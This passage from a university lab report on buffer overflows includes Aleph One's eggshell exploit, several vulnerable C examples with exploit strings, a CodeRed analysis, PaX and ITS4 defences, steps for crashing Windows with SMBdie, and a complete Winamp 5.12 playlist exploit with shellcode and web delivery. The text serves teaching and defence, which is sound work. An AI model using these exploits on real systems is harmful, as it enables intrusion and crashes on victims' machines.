"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

74

unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif ------------------------------------------------------------------------------ eggshell.c ------------------------------------------------------------------------------ /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include <stdlib.h> #include <stdio.h> #include "shellcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); }

75

if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n"); } ------------------------------------------------------------------------------

76

APPENDIX B: Buffer Overflow 1 Advances in Buffer Overflow 1.1 First generation – Stack overflow

The Buffer overflow technique described in Aleph One’s paper is limited to Stacks. Such attacks are classified as First generation Attacks. We will describe newer trends in Buffer overflow. 1.2.1 Second generation - Heap Overflows

A common misconception by programmers is that by dynamically allocating memory (utilizing heaps) they can avoid using the stack, and thus, reduce the likelihood of exploitation. While stack overflows may be the low-hanging fruit, utilizing heaps does not instead eliminate the possibility of exploitation. The HeapA heap is memory that has been dynamically allocated. This memory is logically separate from the memory allocated for the stack and code. Heaps are dynamically created (e.g., new, malloc) and removed (e.g., delete,free). Heaps are generally used because the size of memory needed by the program is not known ahead of time, or is larger than the stack. The memory, where heaps are located, generally do not contain return addresses such as the stack. Thus, without the ability to overwrite saved return addresses, redirecting execution is potentially more difficult. However, that does not mean by utilizing heaps, one is secure from buffer overflows and exploitation.

By overflowing a heap, one does not typically affect EIP. However, overflowing heaps can potentially overwrite data or modify pointers to data or functions. For example, on a locked down system one may not be able to write to C:\AUTOEXEC.BAT. However, if a program with system rights had a heap buffer overflow, instead of writing to some temporary file, someone could change the pointer to the temporary file name to instead point to the string C:\AUTOEXEC.BAT, and thus, induce the program with system rights to write to C:\AUTOEXEC.BAT. This results in user-rights elevation. In addition, heap buffer overflows can also generally result in a denial of service allowing one to crash an application.

Consider the following vulnerable program, which writes characters to C:\harmless.txt:

#include <stdio.h> #include <tdlib.h> #include <string.h> void main(int argc, char **argv) {

int i=0,ch; FILE *f; static char buffer[16], *szFilename; szFilename = “C:\\harmless.txt”; ch = getchar(); while (ch != EOF) {

buffer[i] = ch; ch = getchar(); i++;

}

77

f = fopen(szFilename, “w+b”); fputs(buffer, f); fclose(f);

} Memory will appear like: Address Variable Value 0x00300ECB argv[1] ... ... ... 0x00407034 *szFilename C:\harmless.txt ... ... ... 0x00407680 Buffer XXXXXXXXXXXXXXX 0x00407690 szFilename Notice that buffer is close to szFilename. If one can overflow buffer, one can overwrite the szFilename pointer and change it from 0x00407034 to another address. For example, changing it to 0x00300ECB, which is argv[1], allows one to change the filename to any arbitrary filename passed on the command line. For example, if buffer is equal to: XXXXXXXXXXXXXXXX00300ECB and argv[1] is C:\AUTOEXEC.BAT, memory appears as: Address Variable Value 0x00300ECB argv[1] C:\AUTOEXEC.BAT ... ... ... 0x00407034 *szFilename C:\harmless.txt ... ... ... 0x00407680 Buffer XXXXXXXXXXXXXXX 0x00407690 szFilename 0x00300ECB Notice that szFilename has changed and now points to argv[1], which is C:\AUTOEXEC.BAT. So, while heap overflows may be more difficult to exploit than the average stack overflow, unfortunately utilizing heaps does not guarantee one is invulnerable to overflow attacks. 1.2.2 Second Generation - Function Pointers

Another second generation overflow involves function pointers. A function pointer occurs mainly when callbacks occur. If, in memory, a function pointer follows a buffer, there is the possibility to overwrite the function pointer if the buffer is unchecked. Here is a simple example of such code. #include <stdio.h> #include <stdlib.h> #include <string.h> int CallBack(const char *szTemp) {

printf(“CallBack(%s)\n”, szTemp); return 0;

78

} void main(int argc, char **argv) {

static char buffer[16]; static int (*funcptr)(const char *szTemp); funcptr = (int (*)(const char *szTemp))CallBack; strcpy(buffer, argv[1]); // unchecked buffer (int)(*funcptr)(argv[2]);

} Here is what memory looks like: Address Variable Value 00401005 CallBack() 004013B0 system() ... ... ... ... 004255D8 buffer ABCDEFGHIJKLMNOP 004255DC funcptr 00401005 So, for the exploit, one passes in the string ABCDEFGHIJKLMNOP004013B0 as argv[1] and the program will call system() instead of CallBack(). In this case, usage of a NULL (0x00) byte renders this example inert. Address Variable Value 00401005 CallBack() 004013B0 system() ... ... ... ... 004255D8 buffer ???????? 004255EE funcptr 004013B0 This demonstrates another non-stack overflow that allows the attacker to run any command by spawning system() with arbitrary arguments. 1.3 Third Generation – Format String

Format string vulnerabilities occur due to sloppy coding by software engineers. A variety of C language functions allow printing the characters to files, buffers, and the screen. These functions not only place values on the screen, but can format them as well. The following program takes in one command line parameter and writes the parameter back to the screen. Notice the printf statement is used incorrectly by using the argument directly instead of a format control. int vuln(char buffer[256]) {

int nReturn=0; printf(buffer); // print out command line // printf(“%s”,buffer); // correct-way return(nReturn);

}

79

void main(int argc,char *argv[]) {

char buffer[256]=””; // allocate buffer if (argc == 2) {

strncpy(buffer,argv[1],255); // copy command line } vuln(buffer); // pass buffer to bad function

}

This program will copy the first parameter on the command line into a buffer. Then, the buffer will be passed to the vulnerable function. However, since the buffer is being used as the format control, instead of feeding in a simple string, one can attempt to feed in a format specifier. For example, running this program with the argument “%X” will return some value on the stack instead of “%X”: C:\>myprog.exe %X 401064 The program interprets the input as the format specifier and returns the value on the stack that should be the passed-in argument. In this example we display arbitrary memory, but the key to exploitation from the point of view of a malicious hacker or virus writer would be the ability to write to memory in order to inject arbitrary code. The format function families allow for the “%n” format specifier. This format specifier will store (write to memory) the total number of bytes written. For example, printf(“foobar%n”,&nBytesWritten); will store “6” in nBytesWritten since foobar consists of six characters. Consider the following: C:\>myprog.exe foobar%n When executed instead of displaying the value on the stack after the format control, the program will attempt to write to that location. So, instead of displaying 401064 as demonstrated above, the program will attempt to write the number 6 (the total characters in foobar) to the address 401064 and result in an application error message Knowing how the stack appears, consider the following exploit string: C:>myprog.exe AAAA%x%x%n The first format specifier, “%x,” is considered the Return Address, the next format specifier, “%x,” is ptr to buffer. Finally, %n will attempt to write to the address specified by the next DWORD on the stack, which is 0x41414141 (AAAA). This allows an attacker to write to arbitrary memory addresses.

80

2 Cross-Over attacks – Buffer overflow technique in Computer viruses

The CodeRed worm was a major shock to the antivirus industry since it was the first worm that spread not as a file, but solely in memory by utilizing a buffer overflow in Microsoft IIS. Many antivirus companies were unable to provide protection against CodeRed, while other companies with a wider focus on security were able to provide solutions to the relief of end users. Usually new techniques are picked up and used by copycat virus writers. Thus, many other similarly successful worms followed CodeRed, such as Nimda and Badtrans.

The CodeRed worm was released to the wild in July of 2001. The worm replicated to thousands of systems in a matter of a few hours. It was estimated that well over 300,000 machines were infected by the worm within 24 hours. All of these machines were Windows 2000 systems running vulnerable versions of Microsoft IIS. Interestingly enough the worm did not need to create a file on the remote system in order to infect it, but existed only in memory of the target system. The worm accomplished this by getting into the process context of the Microsoft IIS with an extremely well crafted attack via port 80 (web service) of the target system.

First the IIS web server receives GET /default.ida? followed by 224 characters, URL encoding for 22 Unicode characters (44 bytes), an invalid Unicode encoding of %u00=a, HTTP 1.0, headers, and a request body.

For the initial CodeRed worm, the 224 characters are N, but there were other implementations that used other filler bytes such as X. In all cases, the URL-encoded characters are the same (they look like%uXXXX, where X is a hex digit). The request body is different for each of the known variants.

IIS keeps the body of the request in a heap buffer (probably the one it read it into after processing the Content-length header indicating the size to follow). Note that a GET request is not allowed to have a request body, but IIS dutifully reads it according to the header’s instructions anyway. For this very reason,an appropriately configured firewall would cut the request body (and the worm), and CodeRed could not infect the attacked system.

Buffer Overflow Details While processing the 224 characters in the GET request, functions in IDQ.DLL

overwrite the stack at least twice once when expanding all characters to Unicode, and again when decoding the URL-escaped characters. However, the overwrite that results in the transfer of control to the worm body happens when IDQ.DLL calls DecodeURLEscapes() in QUERY.DLL. The caller is supposed to specify a length in wide chars, but instead specifies a number of bytes. As a result, DecodeURLEscapes() thinks it has twice as much room as it actually has, so it ends up overwriting the stack. Some of the decoded Unicode characters specified in URL encoding end up overwriting a frame-based exception block. Even after the stack has been overwritten, processing continues until a routine is called in MSVCRT.DLL. This routine notices that something is wrong and throws an exception.

Exceptions are thrown by calling the KERNEL32.DLL routine RaiseException(). RaiseException() ends up transferring control to KiUserExceptionDispatcher() in

81

NTDLL.DLL. When KiUser Exception Dispatcher() is invoked, EBX points to the exception frame that was overwritten.

The exception frame is composed of 4 DWORDs, the second of which is the address of the exception handler for the represented frame. The URL encoding whose expansion overwrote this frame starts with the third occurrence of %u9090 in the URL encoding, and is:

%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3 This decodes as the four DWORDs: 0x68589090, 0x7801CBD3, 0x90909090,

and 0x00C38190. The address of the exception handler is set to 0x7801CBD3 (2nd DWORD), and KiUserException Dispatcher() calls there with EBX pointing at the first DWORD via CALL ECX. Address 0x7801CBD3 in IIS’s address space is within the memory image for the C run-time DLL MSVCRT.DLL. MSVCRT.DLL is loaded to a fixed address. At this address in MSVCRT.DLL is the instruction CALL EBX. When KiUserExceptionDispatcher() invokes the exception handler, it calls to the CALL EBX, which in turn transfers control to the first byte of the overwritten exception block. When interpreted as code, these instructions find and then transfer control to the main worm code, which is in a request buffer in the heap.

The author of this exploit needed the decoded Unicode bytes to function both as the frame-based exception block containing a pointer to the “exception handler” at 0x7801CBD3, and as runable code. The first DWORD of the exception block is filled with 4 bytes of instructions arranged so that they are harmless, but also place the 0x7801CBD3 at the second DWORD boundary of the exception block. The first two DWORDs (0x68589090, 0x7801CBD3) disassemble into the instructions: nop, nop, pop eax, push 7801CBD3h, which accomplish this task easily.

Having gained execution control on the stack (and avoiding a crash while running the “exception block”), the code finds and executes the main worm code. This code knows that there is a pointer (call it pHeapInfo) on the stack 0x300 bytes from EBX’s current value. At pHeapInfo+0x78, there is a pointer (call it pRequestBuff) to a heap buffer containing the GET request’s body, which contains the main worm code. With these two key pieces of information, the code transfers control to the worm body in the heap buffer. The worm code does its work, but never returns - the thread has been hijacked (along with the request buffer owned by the thread).

Exception Frame Vulnerability This technique of usurping exception handling is complicated (and crafting it

must have been difficult). The brief period between the eEye description of the original exploit and the appearance of the first CodeRed worm leads us to believe that this technique is somewhat generic. Perhaps the exception handling technique has been known to a few buffer overflow enthusiasts for some time, and this particular overflow was a perfect opportunity to use it.

Having exception frames on the stack makes them extremely vulnerable to overflows. In other words the CodeRed worm relied on the Windows exception frame vulnerability to carry out a quick buffer overflow attack against IIS systems.

The information on this document is based on sources in Symantec’s website and

PHRACK magazine.

82

APPENDIX C: PaX – Hardening Stacks through Kernel Stack-based and heap-based shell code injections require the stack and data sections to be executable. The shell code is inserted into sections of memory that are then jumped to and start executing. A variety of techniques exist of both types but both classes of attack can be mitigated in a novel way. Prevent code on the stack or heap from being executed! PaX is a project that intends to prevent execution in the stack or heap. PaX calls this noexec and it is currently implemented for Linux and is available as a patch to the default kernel tree. The project's website is pax.grsecurity.net and patches can be downloaded from there. We will use the latest 2.6 kernel patch and deploy it on our Redhat Enterprise Workstation 4.0 machines. Some general warnings on worth mentioning. A few legitimate applications require the stack or heap to be executable. Those applications can frequently be written in another way to avoid doing that. The protection offered by execution control is often more valuable than these applications. A little detail about how PaX does it's magic on i386. A thorough knowledge of paging and virtual memory is required. Our discussion is limited to execution protection using the paging unit of the Memory Managing Unit (an alternative segmentation approach is possible as well). Most other architectures have hardware support to facilitate noexec for pages. The i386 architecture does not, so a little trick was developed. Because of the locality principle (take a systems course), code execution and data execution remain in roughly the same area. Intel provided two Translation Look-aside Buffers (TLBs) for these two types of access. A TLB is a cache for linear to physical memory mappings. In a high level, PaX marks all the protected page entries in the Instruction TLB (ITLB) as non-present. This would normally cause a page fault that generally swaps the page from disk into memory. Instead of swapping the page into memory, the page fault handler checks if execution protection is enabled for that page. If noexec is used for that page, the offended process will be killed via a signal. There are several details omitted for simplicity. PaX also tracks which pages are associated with a processes stack. It keeps the ITLB in a state to generate a page fault if an offending page is accessed for instructions. On other architectures, PaX uses the existing hardware controls. Our wide-spread and antiquated i386s do not have these features.

83

The following documentation describes building a PaX-enabled kernel for Redhat Enterprise Linux 4.0. It should be generic enough to extend to other distributions and kernels. Fetch the following files from a kernel.org mirror (such as ftp-linux.cc.gatech.edu/pub/kernel.org/) and pax.grsecurity.net respectively. Copy them to your lab machine (CD-R or USB pendrive suggested). linux-2.6.11.12.tar.bz2 – kernel source grsecurity-2.1.6-2.6.11.12-200506141713.patch.gz Extract kernel source so we can build our new kernel: cd /usr/src tar xvfj /path/to/linux-2.6.11.12.tar.bz2 . The default kernel source tree does not incorporate Grsecurity. It is necessary to patch the kernel: cp /path/to/grsecurity...patch.gz . gunzip grsecurity...patch.gz cd linux-2.6.11.12 patch -p1 <../gresecurity...patch Examine the current running kernel so we know which .config file to base our work from: uname -a Copy the xisiting kernel config from running kernel source tree. We were running 2.6.9-11.EL-smp-i686 and so: cp /usr/src/kernels/2.6.9-11.EL-smp-i686/.config . Modify the kernel configuration to enable the features we want for noexec. First bring up the configuration mechanism: make menuconfig Select the following options (* means compiled in): Security->Grsecurity->* Security->PaX->Enable various PaX features->* Paging based non-executable pages->* Security->PaX->Address Space Layout Randomization->* Save and exit menuconfig. Now our kernel is configured correctly but not yet built. To build the kernel and associated modules: make dep bzImage modules modules_install

84

Linux uses an initial ramdisk to load extra modules during the boot process. Make the initial ramdisk: mkinitrd /boot/initrd-2.6.11.12-pax.img 2.6.11.12-grsec Add new kernel option to bootloader. Redhat uses grub which is a fine option. Put the kernel into the appropriate location: cp arch/i386/boot/bzImage /boot/vmlinuz-2.6.11.12-pax Grub uses a configuration file to tell it how to boot each kernel or operating system choice. Add the following four lines to /boot/grub/grub.conf title Red Hat Enterprise Linux 2.6.11.12-pax root (hd0,0) kernel /vmlinuz-2.6.11.12-pax ro root=/dev/VolGroup00/LogVol00 \ rhgb quiet /initrd /initrd-2.6.11.12-pax.img Reboot and select new kernel option in grub. Verify new kernel is 2.6.11.12-pax: uname -a Our system came back up without any problems. Sometimes our modifications might not be bootable or we fail to add something Redhat needs. That's why we tried to stay as close to Redhat's configuration as possible. The new kernel can generally defeat most of the traditional shell code techniques described in Smashing the Stack for Fun and Profit. Run the examples on the RHEL now and the processes should terminate immediately as they try and execute from the stack. Neat!

85

APPENDIX D: ITS4 – Static Source Code Analyzer This Lab was devoted to actually working and experiencing Buffer Overflow attacks. This appendix explores different means to counteract such exploits in the future. Before proceeding towards that, some background. Buffer Overflows are known to be mainly caused by the following two:

1. Poor programming skills – software coders often just use primitive forms and forget to include more definitive types of functions with bound limits instead opting for more ambiguous types or formats which is in fact the most common cause of Buffer exploits.

2. Lack of inherent Buffer bound checking in C/C++ which is the most commonly used language.

For any security vulnerability to occur, the following 2 aspects should be kept in mind:

1. One should have control over the data being written into the buffer in order to actually cause an overflow which can exploited meaningfully.

2. There should be OS sensitive data/variables stored after the buffer in memory within striking distance for the overflow to actually corrupt it.

Hence, as experienced in lab, Buffer overflow exploits are a very serious threat to workstations in any given environment. Researchers have identified 3 main sets of countermeasures against Buffer overflow exploits:

1. Language Level: One can make changes to the potentially vulnerable code and make it safer for use by using different libraries or functions which incorporate bound checking. Eg. Libsafe, Libmib.

2. Source Code Level: Tools have beeen written which automatically analyze code to check for various potentially buffer abuses. Eg. ITS4.

3. Compiler Level: Different add-ons are available which patch different compilers to give them the additional functionality of Bound checking which will help to severely limit Buffer Overflow exploits. Eg. Stackshield.

WE choose the take the second route and hence went about utilizing ITS4 as a means to counteract the different Buffer overflow exploits performed in lab. ITS4 is a command line tool which statically scans source code files for security vulnerabilities, especially Buffer overflow vulnerabilities. Once an issue is identified, it assesses the threat and rates it from low to Very Risky. It also provides a problem report, including a short description of the potential problem and suggestions on how to solve the issue. The instructions for setting up ITS4 are as follows:

1. Download source tar file from http://www.cigital.com/its4 2. Untar the file using the “tar xvzf filename” command. 3. Change directory to the ITS folder by “ cd its4” 4. Type “./configure” 5. Type “make”

86

6. Type “make install”

At this point, the application should be completely installed and setup for use. Usage: “its4 filename” Screenshot with the different options available with ITS4:

Testing The different exploit files provided in the StackSmash folder on the Nas4112 were utilized for testing purposes with ITS4. First, we used exploit1.c which basically copied

87

the code so that it overwrote the return address with the buffer location by using an overflowing memory stack. Screenshot of Exploit1.c

Screenshot with output results from ITS4 after scanning.

88

Screenshot with output of ITS4 by running it on Exploit4.c

89

For our last test, we used a GDI+ exploit file which basically creates a JPEG file with hidden code which is executed when the image is viewed. The exploit was fixed with the SP2 patch. We used it just for variety sake and to see how ITS4 worked on different type of exploits. The results for you to see below. As mentioned earlier, ITS4 has a very detailed database which provides description of the potential problem along with a probable fix as seen explicitly below:

On the whole, ITS4 is a great tool for predetermining exploit possibilities, however like any other software; it has its own drawbacks. It heavily relies on a database which needs to be constantly updated from time to time. Due to this, false positives are also possible and it is up to the user to reassess the threat mentioned by ITS4 to make the required changes to prevent such exploits. However, it is a highly automated tool which is a boon for large files which spans thousands of lines and it is a much better solution than manually using grep which can be painful at times. In order to make it a full time security tool, Linuxsecurity.com is working with the developers of ITS4 to improve and expand the database and parsing technique of the software. From the perspective of the given lab, considering how harmful buffer overflow attacks can be, we believe that instructing students to run ITS4 on the exploit files given in Stacksmash will help provide a better insight as to what may be exactly causing the problems mentioned. It will be extremely helpful for the non computer programming savvy students since its extremely simple to install , use and can be of great help to interpret the results in Lab. References: http://www.rsasecurity.com/rsalabs/node.asp?id=2011 http://www.cigital.com/its4/

90

http://seclab.cs.ucdavis.edu/projects/testing/tools/its4.html http://www.linuxsecurity.com/content/view/107127/

91

APPENDIX E: Security Forest http://www.securityforest.com/

In the lab, we look at the Metasploit Framework which provides a centralized system for launching exploits against vulnerable targets. This system has its merits, but it also has its disadvantages. For example, it is only available for Linux, and it can only be used by one user at a time. We took a look at another system, Security Forest, which is similar to Metasploit, but also builds upon some of its shortcomings. Probably the two most prevalent features worth mentioning are the fact that it runs on Windows (which is good news for a lot of people who want to shy away from Linux) and it is also web-based (which allows for a centralized repository to be utilized by multiple users on different machines). Additionally, the parameters passed to exploits are simply filled by users filling in fields on a webpage, and then to launch the exploit, you simply click one button. On top of the built-in exploits, Security Forest allows for additional exploits to be added to its database (the database is completely user-contributed, allowing for many more vulnerabilities to be added with time). Parameters are again, specified through an easy to use web interface. The exploit database is updated through the use of Exploit Tree, a CVS-based system allowing for a centralized repository for all new exploits to be easily accessed and updated by all users of Security Forest. Let’s take a look at Security Forest.

Here we see the ExploitTree front-end. This must be utilized to initialize the exploit database after Security Forest is installed (through the use of a simple Windows installer).

92

After things are setup, it’s as easy as launching SecurityForest from the Start menu.

Here we see the front page of SecurityForest. We are first presented with a list of the built-in exploits, and we can see the options for adding additional exploits, viewing help, etc.

93

Here we can see the exploits that come preconfigured in Security Forest (including the DCOM RPC exploit we saw previously in the lab). Again, this list of exploits may seem limited, but the extendibility of the framework allows for a user to add many more exploits, with no upper limit.

Here we see the interface for actually launching an exploit. We simply specify the ID number of the target machine, specify its IP address, and click Exploit.

94

After clicking Exploit, a window pops up where the exploit is actually executed, before we are returned to a screen telling us the exploit was executed.

Here we see the interface for adding exploits to the database. We have only a few short fields to fill in before the exploit is added to the database, and it can be utilized on this system at any time.

95

Beyond the exploits that are shown in the interface, the Exploit Tree includes many exploits (.c files, etc.) which are not setup yet. One of its subtle, but extremely use “side effect” features is that MANY well-organized (by system, application, target, etc.) are included. Here we see a small sampling of source files for exploits included to specifically target remote Microsoft Windows systems (ExploitTree\system\microsoft\remote).

96

APPENDIX F: Windows SMB Buffer Overflow / Denial of Service Attack and Defense Using SMBdie v 0.1 Introduction What is SMB?

SMB stands for Server Message Block is a way in which computers exchange and share resources like printers and files. SMB has is the primary component behind the Windows family of file sharing. SMB has an open source of versions called Samba developed for Linux computers and has many variants. For more information about the history and implementation of SMB see http://www.samba.org/cifs/docs/what-is-smb.html.

What is SMBDie?

SMBDie is a proof of concept tool proving that a Windows based machine can be crashed through the usage of a malformed SMB packet. It was created by zamolx3@personal.ro, and it can be downloaded from PacketStorm.org at the following address: http://packetstormsecurity.org/0208-exploits/SMBdie.zip. SMBDie exploits a vulnerability described by Microsoft Security Bulletin MS02-045 (http://www.microsoft.com/technet/security/bulletin/MS02-045.mspx). The vulnerability is that there is an unchecked buffer in the SMB receiver that allows the buffer overflow to occur resulting in a system crash. Currently there is no evidence of this packet being capable of arbitrary code being run.

But how does one packet crash such a reliable operating system?

Really at heart the SMBDie attack is not a buffer overflow but a heap overflow attack. What happens is that the packet sent to the victim contains the standard headers however the headers are malformed, namely the ‘Max Param Count’ and ‘Max Data Count’ are set to zero. The processing miscalculates the amount of space that needs to be allocated and allocates 8 bytes short of what is fully necessary on the heap. It then will write 8 bytes over the heap space allocated after it and as a result when the first block is deallocated it will cause the heap to become inconsistent as the control structure for the second block or part of it, the first 8 bytes, were overwritten. As a result of this heap inconsistency windows will crash. For a more detailed explanation see here

http://marc.theaimsgroup.com/?l=bugtraq&m=103011556323184&w=2

But why is it difficult for an attacker to run arbitrary code? The reason why the attacker can not run arbitrary code is the bytes that

overflow are not under the control of the attacker. The attacker can only control

97

the contents of the packet sent to the victim, however the values that overflow are the results of function calls and as far as research have shown not under the control of hackers.

Is SMBDie a Trojan?

When you unpack SMBDie on a virus scan protected computer you may get a similar message as below:

However examining the information that McAfee presents on the “virus” (http://vil.nai.com/vil/content/v_99659.htm) it shows that it is an exploit tool that crashes Windows system, which for us is exactly what we were looking for. So have no fear you computer is still safe.

98

Using SMBDie

The first step to download the file from the site: http://packetstormsecurity.org/0208-exploits/SMBdie.zip. Next extract the zip file into a folder using your favorite compression utility. After extracting the file run the program by running SMBdie.exe. After running you should see a screen like this:

99

Enter in the computers IP address in the designated form field and the the NETBIOs name in the correct spot. If you do not know the Netbios name you can resolve the name using utilities discussed in Lab 1, such as SuperScanner. Once complete, press Kill and if successful you should see a screen like below.

And your victim will see something like this:

100

101

APPENDIX G: Winamp 5.12 (or earlier) buffer overflow exploit

Winamp is a free multimedia player distributed by Nullsoft, a part of American Online, for Windows operating systems. Although the earlier versions played audio files only, the latest versions are capable of playing both audio and video files from local or streaming sources, such as American Online XM Satellite Radio. Supported audio or video file formats include AVI, MIDI, MPEG, MP3, WAV, WMA, and others. Winamp includes a playlist feature, which is a listing of files for playback that can be ordered or randomized.

Being a free, compact and easy to use program, winamp is regarded as one of the best program to play mp3 with and is extremely popular especially among young computer users include college students.

A .pls file is a playlist file that supply a media player a list of the media file to be played. Other than winamp, .pls file is also used in other media player such as powerdved.

This lab addition examines a buffer overflow vulnerability that has been discovered in Winamp version 5.12 or earlier. The vulnerability is due to improper bounds checking of the user-supplied data given in a Winamp playlist. When a playlist file is processed, user-supplied data from the playlist file is copied into buffers. The file name and location of each referenced media file is copied into its own fixed-sized stack buffer. No checking is done to ensure that the file name length will not exceed the size of the allocated buffer. If the size of a file name string exceeds the size of the buffer allocated for it, then a buffer overflow occurs, potentially allowing for code to be injected and executed using the privileges of the logged in user. Attack attempts that fail to execute code may terminate the application, causing a denial of service.

To exploit this vulnerability, a remote, unauthenticated attacker would need to persuade a user to download a malicious .m3u or .pls playlist file that contains an overly long file name. Once the Winamp player opens the file, no additional user interaction is required. The attacker could deliver the malicious playlist file to the target using various methods like e-mail, instant messaging, or a web page. Reportedly, Windows systems that have the Data Execution Prevention (DEP) feature enabled are not affected by this vulnerability.

Attack through buffer overflow on winamp has its advantage: winamp is almost installed on every computer which the owner wishes to play mp3 with (including all computers in Georigia Tech library); Attack can be performed even if the Windows system is already up to date with all service packs; Tool used in attack is simply a .pls file which has totally harmless appearance; Finally, it is extremely easy to convince unsuspicious user to open a simple mp3 play list even over internet.

102

Proof of concept code: Following code generates a special .pls file, with a that when the pls generated are run on a system with winamp 5.12 or under installed, winamp will close and windows calculator (designed in the code, a malicious user may run anything instead) opens. As can be seen in the code, the “file to be played” is resided on an overly long computer name (about 1040 bytes). /* * * Winamp 5.12 Remote Buffer Overflow Universal Exploit (Zero-Day) * Bug discovered & exploit coded by ATmaCA * Web: http://www.spyinstructors.com && http://www.atmacasoft.com * E-Mail: atmaca@icqmail.com * Credit to Kozan * */ /* * * Tested with : * Winamp 5.12 on Win XP Pro Sp2 * */ /* * Usage: * * Execute exploit, it will create "crafted.pls" in current directory. * Duble click the file, or single click right and then select "open". * And Winamp will launch a Calculator (calc.exe) * */ /* * * For to use it remotly, * make a html page containing an iframe linking to the .pls file. * * http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm * */ #include <windows.h> #include <stdio.h> #define BUF_LEN 0x045D #define PLAYLIST_FILE "crafted.pls" char szPlayListHeader1[] = "[playlist]\r\nFile1=\\\\"; char szPlayListHeader2[] = "\r\nTitle1=~BOF~\r\nLength1=FFF\r\nNumberOfEntries=1\r\nVersion=2\r\n"; // Jump to shellcode char jumpcode[] = "\x61\xD9\x02\x02\x83\xEC\x34\x83\xEC\x70\xFF\xE4"; // Harmless Calc.exe char shellcode[] = "\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02" "\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48" "\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4" "\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12" "\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"

103

"\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6" "\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5" "\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21" "\x61\xdd\x0e\x4d"; int main(int argc,char *argv[]) { printf("\nWinamp 5.12 Remote Buffer Overflow Universal Exploit"); printf("\nBug discovered & exploit coded by ATmaCA"); printf("\nWeb: http://www.spyinstructors.com && http://www.atmacasoft.com"); printf("\nE-Mail: atmaca@icqmail.com"); printf("\nCredit to Kozan"); FILE *File; char *pszBuffer; if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) { printf("\n [Err:] fopen()"); exit(1); } pszBuffer = (char*)malloc(BUF_LEN); memset(pszBuffer,0x90,BUF_LEN); memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1); memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1); memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1); memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1); fwrite(pszBuffer, BUF_LEN, 1,File); fclose(File); printf("\n\n" PLAYLIST_FILE " has been created in the current directory.\n"); return 1; }

104

Using the generated .pls file In RedHat 4.0 machine, start vmware and install winamp 5.12 on the windows xp virtual machine and windows xp copy virtual machine (as one will be used by attacker as web host and on by victim as client)

(As seen in the picture, by default winamp associates itself with .pls file) To create a host with malicious playlist file embedded in a webpage, on the windows xp virtual machine, install IIS (throught control panel add windows components check IIS option)

105

IIS will have it’s webpage stored under C:\Inetpub\wwwroot with default webpage named index.htm Create an htm file that automatically open a pls file upon viewing:

106

Place both the index file and generated play list file in IIS’s webpage directory:

On the client windows xp copy, opens the host’s IIS site by typing in host’s ip:

107

A winamp main windows will automatically open, and within a flash the program will close itself unexpected and Windows calculator, the desired code to be executed by the exploit, will pop up.

During the process, winamp opens and close quickly and without any error message or warning afterward. Unsuspicious user will likely to disregard the

108

